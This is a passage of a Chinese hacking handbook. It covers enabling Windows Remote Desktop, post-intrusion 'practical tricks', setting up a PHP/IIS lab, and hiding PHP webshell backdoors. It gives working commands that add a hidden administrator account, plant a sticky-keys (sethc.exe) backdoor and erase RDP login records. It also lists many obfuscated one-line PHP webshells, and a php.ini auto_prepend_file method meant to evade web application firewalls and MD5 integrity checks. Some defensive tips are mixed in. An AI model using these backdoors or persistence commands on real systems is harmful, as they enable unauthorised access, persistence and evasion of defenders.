    {"text": "图1-65 Windows XP中的例外程序和服务 ③在“例外”标签页中单击“添加端口”按钮，如图1-66所示，在“名称”文本框中输入“3389”，在“端口号”文本框中输入“3389”，单击“确定”按钮。 图1-66 允许3389端口通过防火墙 1.7.3 Windows 2003开启远程终端 在Windows 2003中开启远程终端的步骤如下。 01 允许开启远程终端 在Windows 2003中单击“我的电脑”→“属性”→“远程”选项，打开的界面如图1-67所示，在远程桌面中勾选“允许用户远程连接到这台计算机”复选框，允许开启远程终端。 图1-67 允许开启远程终端 02 授权远程桌面用户 单击“选择远程用户”按钮，将弹出如图1-68所示的用户选择界面，单击“添加”按钮，选择一个远程桌面访问用户，在本例中选择的是“asp.net”用户。 图1-68 授权远程桌面用户 03 查看远程终端端口 打开DOS命令提示符窗口，如图1-69所示，用“netstat-an”或“netstat-an| find \"3389\"”命令查看3389端口的开启情况，如果在列表中显示3389端口已经开放，说明远程终端开启成功。 图1-69 查看远程终端开启端口 04 远程终端登录测试 单击“开始”→“运行”选项，在打开的DOS命令提示符窗口中输入“mstsc”命令，打开远程登录窗口，在其地址栏输入刚才开启了远程终端的计算机的IP地址，单击连接，打开远程桌面登录窗口，输入用户名和密码，登录成功后的桌面如图1-70所示，表明远程终端开启成功。 图1-70 远程终端登录测试 1.7.4 一些常见开启远程终端服务的方法 常见的开启远程终端服务的方法有如下几种。"},
    {"text": "该脚本通过系统自带的cscript.exe应用程序执行，可以开启终端服务及修改终端服务端口，使用格式如下。 cscript.exe rots.vbs ip user userpass port /r 或 cscript.exe rots.vbs ip user userpass port /fr 2．使用bat命令 通过“记事本”程序建立一个bat文件，在其中分别输入以下内容。"},
    {"text": "echo [Components] > c:\\sql echo TSEnable = on >>sql c:\\sqlsysocmgr /i:c:\\winnt\\inf\\sysoc.inf /u:c:\\sql /q 运行该批处理命令后，重新启动计算机，远程终端服务开启成功。"},
    {"text": "3．将reg文件导入需要开启终端服务的计算机中 该方法主要是修改远程终端服务的端口及其相关设置，通过生成一个以．reg为后缀的文件，将该文件导入需要开启终端服务的计算机中。"},
    {"text": "Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\netcache] \"Enabled\"=\"0\" [HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon] \"ShutdownWithoutLogon\"=\"0\" [HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer] \"EnableAdminTSRemote\"=dword:00000001 [HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server] \"TSEnabled\"=dword:00000001 [HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\TermDD] \"Start\"=dword:00000002 [HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\TermService] \"Start\"=dword:00000002 [HKEY_USERS\\.DEFAULT\\Keyboard Layout\\Toggle] \"Hotkey\"=\"1\" [HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\TerminalServer\\Wds\\rdpwd\\Tds\\tcp] \"PortNumber\"=dword:00000D3D [HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\TerminalServer\\WinStations\\RDP-Tcp] \"PortNumber\"=dword:00000D3D 4．使用SQL注入软件启动3389服务 在Domain 3.5及网名为“教主”的网友编写的HDSI2.0 SQL等注入工具均提供了开启3389终端服务的功能。 使用该类软件开启3389端口的前提是运行Web服务的服务器必须存在SQL注入漏洞，而且数据库用户的权限较大。"},
    {"text": "图1-71 2000.bat文件内容 技巧 图1-72 使用计算器来计算端口值 该脚本用于开启4455端口并将其作为远程终端服务端口，在脚本文件中可以根据需要修改其远程终端服务端口，即修改脚本中“PortNumber”后的数值“dword: 00001167”。"},
    {"text": "该值为十六进制，在修改时可以使用系统“附件”中的“计算器”进行计算。 打开“计算器”窗口，在“查看”菜单中选择“科学型”选项，然后单击选中“十进制”单选按钮并输入端口值，再单击选中“十六进制”单选按钮即可，如图1-72所示。"},
    {"text": "重启Windows 2000 Server后，需要先查看被开启远程终端服务的计算机的远程终端是否开放。 可以使用扫描软件或者SFind等工具查看远程终端端口的开放情况。 例如，输入命令“sfind-p 4455 192.168.1.100”查看IP地址为192.168.1.100的计算机的4455端口是否开放，如果开放，则可以使用远程终端连接器进行连接。 出现远程终端连接桌面后，输入用户名和密码即可进入远程终端桌面管理界面。"},
    {"text": "1．使用注册表命令开启3389端口 直接打开命令提示符，或者在Telnet命令下直接将以下代码粘贴并执行即可。 reg delete \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\TerminalServer\" /v fDenyTSConnections /f reg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\"/v fDenyTSConnections /t REG_DWORD /d 0 2．来自国外黑客的开启3389命令 虽然见过很多在Windows XP和Windows 2003下开启3389端口的命令，但下面这个命令是最好用的，不但添加了一个用户，还将该用户添加到远程桌面用户组中，避免了权限限制情况下不能登录的问题。"},
    {"text": "net user antian365.com antian365 /add net localgroup Administrators antian365.com /add net localgroup \"Remote Desktop Users\" antian365.com /add attrib +h \"%SYSTEMDRIVE%\\Documents and Settings\\antian365.com\" /S /D echo Y | reg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\" /v fDenyTSConnections /t reg_dword /d 0 echo Y | reg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\" /v AllowTSConnections /t reg_dword /d 1 echo Y | reg add \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ Winlogon\\SpecialAccounts\\UserList\" /v \"antian365.com\" /t REG_DWORD /d 00000000 /f sc config rasman start= auto sc config remoteaccess start= auto net start rasman net start remoteaccess 1.7.7 3389实用技巧 3389端口在渗透中非常重要，下面介绍一些实用技巧。 1．实用技巧之一——修改默认端口 默认状态下，远程桌面使用的端口一般为3389端口，如果不及时将这个端口号码更改，许多别有用心的黑客可能会利用这个端口远程控制和入侵本地工作站，以便窃取保存在本地工作站中的各类隐私信息。 目前仍有单独针对远程终端攻击的软件，如果我们设置的密码碰巧在其攻击字典中，那么很不幸，我们的计算机将被攻陷，因此，在系统管理中修改默认端口就非常有必要了。 其实，我们只要将默认端口3389修改为其他任意未使用的端口即可。"},
    {"text": "（1）图形界面修改 首先，以特权身份（管理员）登录本地工作站或者服务器系统，依次单击系统桌面上的“开始”→“运行”命令，在弹出的系统运行框中输入字符串命令“regedit”，单击“确定”按钮，将打开本地工作站的系统注册表编辑界面。 在该编辑界面的左侧显示区域展开注册表分支HKEY_LOCAL_MACHINE，在其后弹出的分支列表中选中SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Wds\\rdpwd\\Tds\\tcp子键。"},
    {"text": "在tcp子键所对应的右侧显示区域中，会看到一个名为“PortNumber”的子键，如图1-73所示，这个子键就是用来定义远程桌面端口号码的，默认以十六进制显示为“0X00000D3D”。"},
    {"text": "图1-73 通过注册表查看端口信息 如图1-74所示，在“数值数据”文本框中可以任意输入一个未使用的端口号，一般设置大端口号即可，如“8888”。 图1-74 修改端口号 完成数值修改操作后，定位于注册表分支HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\ Control\\Terminal Server\\WinStations\\RDP-Tcp，在RDP-Tcp子键所对应的右侧显示区域中，同样会看到一个名为“PortNumber”的子键，该子键的数值也要一并加以修改。"},
    {"text": "例如，IP地址为192.168.1.8的远程终端的使用方法为“192.168.1.8:8888”，即在远程终端连接的地址中输入“192.168.1.8:8888”进行连接。"},
    {"text": "例如，我们将端口号修改成“8888”，其对应的十六进制值为“0X22B8”。 使用下面的命令即可完成端口号的修改，将3389端口修改为8888端口。"},
    {"text": "REG ADD \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Wds\\rdpwd\\Tds\\tcp\" /v PortNumber /t REG_DWORD /d 0X22B8 /f REG ADD \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\" /v PortNumber /t REG_DWORD /d 0X22B8 /f 2．实用技巧之二——查询端口 查询端口的操作方式主要有通过查询注册表和采用下面介绍的两种查询终端查询（适用于Windows XP专业版、Windows 2000服务器版与Windows 2003操作系统）。 （1）通过查询注册表查询 运行如下命令查询端口信息，查询结果如图1-75所示。 图1-75 通过查询注册表获取3389端口 REG query HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal\" \"Server\\ WinStations\\RDP-Tcp /v PortNumber 查询结果为“PortNumber REG_DWORD 0xd3d”，端口值为16进制编码，“0xd3d”表示端口号为3389，将这个值复制到科学计算器中进行十六进制和十进制之间的换算即可。"},
    {"text": "图1-76 通过计算器查看端口的具体值 还可以通过以下命令查看3389的更多详细信息，显示结果如图1-77所示。 图1-77 使用命令查看3389端口的更多详细信息 regedit /e tsp.reg \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal server\\ Wds\\rdpwd\\Tds\\tcp\" type tsp.reg （2）通过VBS脚本命令查询 使用VBS脚本命令查询时，一般也使用批处理来执行，但要注意在有些情况下系统禁止执行VBS脚本（删除Windows Script Host组件）。"},
    {"text": "图1-78 使用VBS脚本查询3389端口 Echo Dim ReadComputerName >>port.vbs Echo Set ReadComputerName=WScript.CreateObject(\"WScript.Shell\") >>port.vbs Echo Dim TSName,TSRegPath >>port.vbs Echo TSRegPath=\"HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\\ WinStations\\RDP-Tcp\\PortNumber\" >>port.vbs Echo TSName=ReadComputerName.RegRead(TSRegPath) >>port.vbs Echo WScript.Echo(\"TermService port is:\"^&TSName) >>port.vbs Cscript port.vbs 以上内容所对应的VBS脚本如下。 Dim ReadComputerName Set ReadComputerName=WScript.CreateObject(\"WScript.Shell\") Dim TSName,TSRegPath TSRegPath=\"HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\\PortNumber\" TSName=ReadComputerName.RegRead(TSRegPath) WScript.Echo(\"TermService port is:\"&TSName) 将以上代码保存为ports.vbs文件，在DOS命令提示符窗口或Telnet窗口执行“Cscript port.vbs”命令即可。"},
    {"text": "不过，终端服务也有一个很不人性化的地方，就是在默认情况下，我们是看不到终端用户的操作界面的，这在某些场合很不方便。 例如，我们在进行远程操作的同时也会想让对方看到我们的操作界面，但在终端服务环境下对方却看不到。 其实，我们可以通过一些手段让对方看到我们的远程操作。"},
    {"text": "图1-79 获取当前登录ID 03 运行“shadow会话ID”命令，由于用户A的会话ID是1，如果要与用户B进行远程控制，命令就是“shadow 2”，如图1-80所示，会给出一段提示，说明已经冻结用户A当前的连接。"},
    {"text": "图1-81 同意远程控制会话请求 图1-82 用户A与用户B操作同步 4．实用技巧之四——远程关闭终端服务器 远程关闭终端服务器，可能大家通常会直接使用“开始”菜单中的关机功能，但这种方式在关机时不会向终端用户发送消息。"},
    {"text": "5．实用技巧之五——查看所有终端服务客户端运行的程序 有些时候，服务器管理员可能想了解现在到底有多少用户在登录终端服务器，以及这些用户到底正在运行什么程序，这时可以使用Query系列命令，包括“query process”、“query session”、“query user”，分别用于查看进程、会话和用户。"},
    {"text": "6．实用技巧之六——重启计算机 在远程终端上执行“iisreset/reboot/timeout:00”命令后，系统会自动重启，这在入侵过程中非常好用，在韩文、阿拉伯文等不熟悉的文字环境下执行该命令不会因误操作将计算机关闭。"},
    {"text": "• CTRL+ALT+BREAK：切换全屏显示，在窗口和全屏显示之间切换客户端。 • ALT+PAGE UP：从左向右在程序之间切换。 • ALT+PAGE DOWN：从右向左在程序之间切换。 • ALT+INSERT：按启动顺序来回切换程序。 • ALT+HOME：显示“开始”菜单。 • ALT+DELETE：显示窗口的弹出式菜单。 • CTRL+ALT+减号（-）：将客户端活动窗口的快照放在“终端”服务器的剪贴板上（与在本地计算机上按下“ALT+PrintScrn”快捷键的作用相同）。 • CTRL+ALT+加号（+）：将整个客户端窗口区域的快照放在“终端”服务器的剪贴板上（与在本地计算机上按下“PrintScrn”键的作用相同）。"},
    {"text": "8．实用技巧之八——限制指定用户登录终端 为了保证服务器的安全，没有必要允许所有用户登录服务器，因此，我们可以指定一个可以登录的管理员账号，这就是限制指定用户登录远程终端，通俗地讲，就是将允许登录的用户加入远程桌面登录用户组。"},
    {"text": "依次单击“管理工具”→“终端服务配置”→“连接”选项，打开“RDP-Tcp属性”对话框，找到“权限”选项卡，删除Administrators组，然后添加我们允许登录的用户，其他用户一律不允许登录，如图1-83所示。"},
    {"text": "图1-83 设置远程桌面管理权限 9．实用技巧之九——我的3389我做主 终端服务默认没有日志记录，需要手动设置。 远程终端启用日志审核后就能够了解3389端口的相关信息，如谁登录的、什么时候登录的、什么时候注销的。"},
    {"text": "依次单击“管理工具”→“终端服务配置”→“连接”选项，打开“RDP-Tcp属性”对话框，找到“权限”选项卡，单击“高级”按钮，进入“RDP-Tcp的高级安全设置”对话框，单击“审核”选项卡，然后单击“添加”按钮，在选择用户和组中依次单击“高级”→“立即查找”选项，在搜索结果中找到“everyone”用户并将其添加审核项目中，如图1-84所示，选择需要记录的事件。 图1-84 配置远程终端日志审核 一般情况下需要审核以下几个事件。"},
    {"text": "• 登录成功失败 • 连接成功 • 注销成功 • 断开成功 10．实用技巧之十——记录登录3389端口的IP地址和时间 关于这个技巧，笔者最早是在虚拟机上看到的。"},
    {"text": "在一些大型虚拟机上登录系统时，会突然显示一个DOS窗口，又突然消失，通过分析，知道这是管理员在记录登录操作系统的用户，具体操作步骤如下。"},
    {"text": "01 创建记录3389登录时间的批处理文件和日志文件 • 3389.bat：用户登录时运行的脚本文件。 • 3389log.txt：记录登录3389端口的IP地址和时间的TXT文件。 3389.bat批处理脚本文件的内容如下。 date /t >>3389log.txt time /t >>3389log.txt netstat -n -p tcp | find \":3389\">>3389log.txt start Explorer 第一行和第二行代码用于记录用户登录的时间。"},
    {"text": "管道符号“|”用于将“netstat”命令的结果输出给“find”命令，再从输出结果中查找包含“3389”的行，然后把这个结果重定向到日志文件3389log.txt中。"},
    {"text": "02 配置“终端服务器配置” 进入系统管理工具的“终端服务器配置”界面，打开“RDP-Tcp属性”对话框，切换到“环境”选项卡，单击选中“用户登录时启用下列程序”单选按钮，在“程序路径和文件名”文本框中填写“c:\\rdp\\3389.bat”，并在“起始于”文本框中填写“c:\\rdp”，如图1-85所示。 图1-85 配置“终端服务器配置” 需要特别注意的是，这两个选项一定要配置正确，因为3389.bat文件位于C盘的“rdp”文件夹下，而“起始于”文本框中填写的是3389.bat前面的路径，如果配置错误，将出现3389登录错误，导致用户无法正常登录3389端口。 一个好的解决方法是登录3389端口进行配置，但不退出，然后在本地另起一个3389登录，进行测试。"},
    {"text": "11．实用技巧之十一——清除3389端口的登录记录 输入如下系统命令。 reg delete \"HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\" /f 取消Windows XP和Windows 2003的系统防火墙对终端服务3389端口及IP连接的限制，命令如下。 REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\ FirewallPolicy\\StandardProfile\\GloballyOpenPorts\\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled:@xpsp2res.dll,-22009 /f 12．实用技巧之十二——去掉限制登录 当终端数超出最大连接数时，可以使用下面的命令进行连接。 mstsc /v:ip:3389 /console 13．实用技巧之十三——永不查杀的3389后门 永不查杀的3389后门的原理就是对Shift后门的利用，连按5次“Shift”键即可直接进入服务器。 将以下代码复制到服务器中，通过DOS命令提示符窗口执行即可。 @echo off copy c:\\windows\\explorer.exe c:\\windows\\system32\\sethc.exe copy c:\\windows\\system32\\sethc.exe c:\\windows\\system32\\dllcache\\sethc.exe attrib c:\\windows\\system32\\sethc.exe +h attrib c:\\windows\\system32\\dllcache\\sethc.exe +h echo. & pause Exit 14．实用技巧之十四——使用WinlogonHack记录3389端口的登录密码 WinlogonHack的原理很简单，就是记录管理员的登录密码，即当有3389端口登录时，自动加载DLL并且记录登录密码，并将其保存为boot.dat文件。"},
    {"text": "1.8 Windows下PHP+MySQL+IIS安全试验平台的搭建 随着网络营销的普及和流行，通过网络给企业带来的效益和利润让越来越多的人意识到，除了传统的销售和宣传模式，如何利用网络资源为企业带来利润已经成为企业急需解决的问题，为此，很多企业和个人都架设了属于自己的服务器。"},
    {"text": "Linux和BSD平台的优点是权限划分细致，服务器的稳定性众所周知的，所以，很多大型企业首选Linux和BSD平台； 缺点是维护难度比较大，不适合中小型公司，因为培训一个全能的Linux和BSD系统管理员需要花费大量的金钱和时间。"},
    {"text": "02 添加角色 在“管理您的服务器”窗口有“添加和删除角色”、“管理文件服务器”和“添加共享的文件夹”3个主要功能模块，如图1-86所示。 单击“添加和删除角色”按钮即可配置和管理服务器。 图1-86 使用添加和删除角色功能管理服务器 03 配置服务器角色 在弹出的对话框中单击“下一步”按钮，配置向导开始查找本机中一些已经安装的环境。"},
    {"text": "在这里可以配置文件服务器、打印服务器、应用服务器、邮件服务器、终端服务器、VPN服务器、DHCP服务器、流式媒体服务器及WINS服务器，总之，Windows 2003 Server在管理方面有比Windows 2000 Server有很大的提高，配置更加简单。"},
    {"text": "图1-87 配置服务器角色 04 配置应用服务器 选择应用程序服务器（IIS，ASP.NET），然后单击“下一步”按钮，将出现如图1-88所示的界面，其中有2个复选框。"},
    {"text": "第一个复选框是“FrontPage Server Extension”，一般不使用，出于安全原因建议不要选择它。 第二个复选框是“启用ASP.NET”，用于开启和关闭ASP.NET，如果是ASP.NET程序，就需要勾选“开启ASP.NET”复选框。"},
    {"text": "安装完成以后，就可以运行IIS了。 依次单击“开始”→“所有程序”→“管理工具”选项，可以看到在管理工具中多了一个“IIS服务器管理器”选项，这说明之前的安装成功了。"},
    {"text": "图1-88 服务器启用ASP.NET支持 1.8.2 下载最新的MySQL和PHP并安装 下面我们一起了解一下MySQL和PHP的下载与安装。 1．下载MySQL 我们从www.mysql.org下载最新的6.0.8版本。 MySQL的下载地址是http://dev.mysql.com/get/Downloads/MySQL-6.0/mysql-6.0.8-alpha-win32.zip/from/http://mysql.ntu.edu.tw/。 2．下载PHP 如果本地没有安装PHP，可以到PHP的下载地址去下载：http://cn2.php.net/get/php-5.2.8-win32.zip/from/cn.php.net/mirror。"},
    {"text": "1．选择配置php.ini文件 PHP安装完成后（其实就是将压缩包解压缩，也有类似微软的MSI那种一步一步安装的，但笔者没有尝试过），我们首先来到PHP的安装目录下，在这里可以看到2个php.ini的文件，即php.ini-dist和php.ini-recommended。 最好选择php.ini-recommended，因为这是经过PHP官方优化的文件。 我们把这个文件改名改成php.ini，然后把它复制到C:\\windows目录下。 2．将libmysql.dll库文件复制到系统中 将libmysql.dll库文件复制到系统目录里是为了让PHP程序和MySQL数据库连接。"},
    {"text": "在这里，把D:\\php目录下的libmysql.dll库文件复制到C: \\ windows\\system32目录下。 3．配置php.ini文件 进入C:\\windows目录，找到php.ini文件。"},
    {"text": "01 修改extension_dir参数 如图1-89所示，我们首先找到“extension_dir=\"./\"”语句，把它修改成“extension_dir=\"D:/php/ext\"”。"},
    {"text": "图1-89 修改extension_dir参数 02 加载需要使用的模块 应根据实际情况加载所需模块，在本配置环境中，需要加载MySQL模块、GD模块、mcrypt模块。"},
    {"text": "如果觉得手工管理MySQL和下载软件都比较麻烦的话，可以下载phpMyAdmin，它是一个非常强大的MySQL管理工具。 1.8.4 MySQL的基本准备工作 01 运行MySQL安装程序 在这里我们使用的是MySQL 6.0.8，因为基本安装等大部分人都可以独立完成，所以略过不讲，这里重点讲解如何配置MySQL数据库服务器。 如图1-91所示是配置MySQL数据库服务器的欢迎界面，直接单击“下一步”按钮。 图1-91 开始安装MySQL数据库服务器 02 选择安装类型 如图1-92所示，这是关键的一步——选择安装的类型。"},
    {"text": "“Detailed Configuration”是手动精确配置，让我们可以很好地定制服务器，并按照自己的需要配置服务器，适合了解MySQL基本原理的用户使用。 “Standard Configuration”是标准配置，将使用MySQL默认推荐的选项完成安装。 在这里，因为使用标准的MySQL功能即可，所以单击选中“Standard Configuration”单选按钮。"},
    {"text": "图1-94 设置MySQL密码和安全选项 还有一个需要特别注意的地方：一定不要勾选“Enable root access from remote machines”复选框，因为勾选此项，root用户就可以进行远程连接。"},
    {"text": "依次单击“开始”→“所有程序”→“管理工具”→“Internet信息服务（IIS）管理器”选项，如果一切正常，会弹出如图1-96所示的窗口。 图1-96 打开IIS信息服务器管理器 右键单击“网站”目录，在弹出的快捷菜单中选择“新建”→“网站”选项，如图1-97所示，将弹出“网站创建向导”对话框，单击“下一步”按钮。 图1-97 新建网站 2．设置网站名称 如图1-98所示，在“描述”文本框中输入网站的名字，主要用于标识和区分。 图1-98 设置网站名称 3．设置主机头 如图1-99所示，这里需要重点讲解的就是此网站的主机头。 其实，这个选项的作用是配置虚拟主机，也就是在一个服务器上安装多个网站，在实际操作中填入对应的网址就即可，本例中就不填写了。"},
    {"text": "图1-99 设置主机头 4．设置网站主目录 如图1-100所示，在选择网站的主目录时，只要选择对应我们自己的网站目录就可以了，然后勾选“允许匿名访问”复选框。"},
    {"text": "图1-102 配置网站 02 配置PHP扩展 单击“配置”按钮，在弹出的“应用程序配置”对话框中单击“添加”按钮，加入PHP的ISAPI支持，选择可执行文件“D:\\PHP\\php5isapi.dll”（“PHP”目录下的php5isapi.dll），扩展名为“.php”（一定要注意注意“php”前面的“．”），限制动作为“GET, POST”，如图1-103所示。"},
    {"text": "图1-103 配置PHP扩展 03 设置默认文档 如图1-104所示，切换到“文档”标签页，勾选“默认内容文档”复选框，根据网站程序首页名称添加对应的页面名称，一般为index.php、default.php，如有静态页面，可能为index.htm、index.html。"},
    {"text": "进入“web”目录，新建一个index.php文件，内容是“<?php phpinfo(); ?>”，然后打开站点，如图1-106所示，表示我们成功完成了IIS+MySQL+PHP的配置。 图1-106 测试PHP环境 注意 phpinfo()函数可用于显示配置情况，配置正确与否也可以通过这个函数显示。"},
    {"text": "1.9 一种新型PHP网站后门隐藏技术研究 后门隐藏技术是黑客入侵后为了避免被发现而经常采用的一种抹去和隐藏访问记录的技术。 下面我们介绍一种新型的PHP网站后门隐藏技术。"},
    {"text": "1.9.1 概述 “梦之光芒”提出的通过构建程序逻辑后门绕过后门特征检测和数据传递溯源检测的方法，对绝大部分网站维护人员而言非常有用，但对通过比较程序文件的MD5值检测网站是否存在后门的手段就无能为力了。"},
    {"text": "在网络攻防对抗中，陆续出现了安全狗、安全宝等针对网站入侵检测的软件和商业安全服务提供商，他们提供了专业的Web应用防护系统（Web Application Firewall，WAF），能够拦截常见的网站后门，并对攻击进行预警和报警。"},
    {"text": "而数据传递隐藏则通过把日志文件中记录的文件名和行数的代码上报到后端，与后端SVN中的代码进行对比，如果不一致，则认为是一个WebShell。"},
    {"text": "随着网络安全技术在民间的普及，被攻击方发现入侵行为后安全意识的提高，以及防护手段的加强，特别是聘请专业安全公司进行安全评估和加固、部署安全狗等后门监控软件，都大大提高了后门存活的难度，所以，如何在获取权限的网站深埋后门具有一定的实际意义。 本节将对常见的PHP WebShell后门技术进行分析和基础研究，通过实验研究出一种新型后门留取方法——不修改网站任何代码，通过修改原有Windows PHP环境配置，仅需几步即可长期隐藏和使用网站后门，而后门可以是网站任意的正常PHP文件，能够绕过Web防火墙。"},
    {"text": "1．WebShell的概念 WebShell常常被称为匿名用户（入侵者）通过网站端口对网站服务器进行某种程度的操作的权限。 由于WebShell大多以动态脚本的形式出现，因此也常被称为网站后门工具。 WebShell是Web入侵的脚本攻击工具。 WebShell的常见类型有ASP.NET、JSP、PHP、ASP、Perl、CGI、CFM（以下统称“WebShell后门文件”）。 攻击者在入侵成功后，会将WebShell后门文件放置在网站服务器的Web目录中，与正常的网页文件混在一起。 然后，攻击者就可以以Web访问的方式，通过WebShell木马后门控制网站服务器，进行包括上传及下载文件、操作数据库、执行任意程序命令等操作了。 2．WebShell的特点 WebShell后门文件具有隐蔽性强、功能强、危害大等特点。 WebShell与正常的网页程序一样，通过HTTP或者HTTPS协议访问。"},
    {"text": "高级的WebShell程序仅会在Web日志中出现POST或者GET操作，不会留有具体的后门操作信息，因此较难被发现，隐蔽性强。 目前，WebShell后门程序功能强大，除了文件操作和数据库操作外，还可以提权，配合特定程序穿透内网，危害性较大。 在通常情况下，通过WebShell可以实现读取数据库、导出数据库文件、查看服务器具有访问权限的所有文件等功能。"},
    {"text": "该函数的用法为“eval(string $code_str)”，把字符串“code_str”作为PHP代码执行。 同时需要注意，eval函数中的变量会被保留在之后的主脚本中，本函式可将字符串中的变量值代入，通常用于处理数据库的数据。 除了上述用法外，eval函数还可以直接接受用户提交的数据并且执行，因此就出现了PHP WebShell中最常见的后门。"},
    {"text": "<? PHP eval($_POST[cmd]);?> //不容错代码 3.1.1.PHP <?PHP @eval($_POST['cmd']);?> //容错代码 3.1.2.PHP <?PHP system($_REQUEST['cmd']);?> //3.1.3.PHP 实际使用过程中最常用的是“<?PHP @eval($_POST['cmd']);?>”，使用其他代码容易报错，代码如下。"},
    {"text": "Warning: system() has been disabled for security reasons inD:\\ComsenzEXP\\wwwroot\\3.1.3.php on line 1 2．利用404等常见页面隐藏后门 使用“中国菜刀”一句话后门连接工具，连接密码“error”连接，在404等常见页面中插入以下代码。 <?PHP @preg_replace(\"/[pageerror]/e\",$_POST['error'],\"saft\"); header('HTTP/1.1 404 Not Found'); ?> 通过访问地址http://127.0.0.1/404.PHP?error=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97).chr(116).chr(97). chr(47).chr(97).chr(46).chr(112).chr(104) .chr(112) .chr(39) .chr(44) .chr(39) .chr(119) .chr(39) .chr(41) . chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108). chr(40) .chr(36) .chr(95).chr(80) .chr(79).chr(83) .chr(84).chr(91).chr(99) .chr(109) .chr(100) .chr(93 ).chr (41).chr(63).chr(62).chr(39).chr(41).chr(59))，还可以在网站当前目录下生成一句话后门密码为“cmd”的a.php文件。"},
    {"text": "fputs(fopen(data/a.PHP,w),<?PHPeval($_POST[cmd])?>); 3．无特征隐藏一句话 通过编码转换“str_rot13(‘riny’)”，即编码后的eval，在整个代码中看不到eval等特征。"},
    {"text": "<?PHP($b4dboy = $_POST['b4dboy']) && @preg_replace('/ad/e', '@'.str_rot13('riny').'($b4dboy)', 'add');?> 4．利用shell_exec函数的后门 利用PHP中shell_exec等函数生成的后门，php.ini文件中的disable_functions函数不能包括shell_exec，否则会执行错误，代码如下。"},
    {"text": "http://127.0.0.1/3.4.PHP?r=dir //列出目录 http://127.0.0.1/3.4.PHP?r=echo hack >D:\\web\\hack.txt 还可以延伸出非数字执行后门的方法，代码如下。 <?$_=\"\";$_[+\"\"]='';$_=\"$_\".\"\";$_=($_[+\"\"]|\"\").($_[+\"\"]|\"\").($_[+\"\"]^\"\");?> <?=${'_'.$_}['_'](${'_'.$_}['__']);?> 利用方法为“3.4.2.PHP?_=shell_exec&__=<any shell command goes here>”，该后门在Linux下执行效果较好。"},
    {"text": "5．二级参数隐蔽PHP后门 如果后门程序中没有eval函数，可以通过两个参数完成后门的操作：第一个参数用于赋值assert，第二个参数为连接密码。"},
    {"text": "<?php @$_GET[a](@$_GET[b]);?>或者<?PHP ($_=@$_GET[2]).@$_($_POST[1])?> http://127.0.0.1/3.5.1.PHP?a=assert 密码为“b” http://127.0.0.1/3.5.2.PHP?2=assert 密码为“1” 还可以对第二个参数执行某些特定函数，甚至可以在网站根目录下写入一句话后门文件c.php。"},
    {"text": "6．非数字隐蔽PHP后门 非数字隐蔽PHP后门最早由Spanner提出，借鉴了“Tiny PHP Shell”的思路，通过八进制转义执行非字母数字代码，从而能够较好地逃过安全管理人员的脚本安全扫描检查，代码如下。"},
    {"text": "<?PHP $_=\"\"; $_[+\"\"]=''; $_=\"$_\".\"\"; $_=($_[+\"\"]|\"\").($_[+\"\"]|\"\").($_[+\"\"]^\"\"); ?> <?PHP ${'_'.$_}['_'](${'_'.$_}['__']);?> 在“中国菜刀”一句话后门连接工具中写人“http://127.0.0.1/3.6.PHP?_=assert&__=eval（$_POST['pass']）密码是pass”。"},
    {"text": "http://127.0.0.1/3.6.PHP?uid=/image.gif //gif 插一句话 8．利用PHP上传程序留后门 攻击者通过分析网站程序，结合被攻击网站的特点，在获取网站权限后，保留一个独特的PHP上传程序。"},
    {"text": "9．PHP后门生成工具Weevely Weevely是一款针对PHP的WebShell的自由软件，在BT上默认安装，可用于模拟一个类似Telnet的连接Shell. Weevely通常用于Web程序的漏洞利用，以隐藏后门或者使用类似Telnet的方式代替Web页面式的管理。"},
    {"text": "1.9.4 一种Windows下PHP后门隐藏技术研究 研究发现，在Windows下的PHP解释环境中有两个函数能够自动加载文件，分别是auto_prepend_file和auto_append_file，在php.ini中可以修改成任意文件，可以是PHP文件，也可以是DLL文件。 将后门文件的内容写入这两个文件，然后修改include_path为后门文件所在路径，网站所在目录下的所有PHP文件均可以作为PHP后门，具体步骤如下。"},
    {"text": "”，使配置文件生效，然后添加后门文件名称，示例如下。 auto_prepend_file =PHP_tar.dll auto_append_file =PHP_bz.dll 02 修改include_path配置 在php.ini中查找include_path的位置，去掉注释，选择Windows下的include_path，填写后门所在的详细路径，代码如下。 include_path = \"D:\\ComsenzEXP\\PHP5\\ext;.\" 03 创建后门文件 在D: \\ComsenzEXP\\PHP5\\ext文件夹中新建两个文件php_tar.dll和php_bz.dll，文件的内容为“<?eVal($_POST [a]);?>”。"},
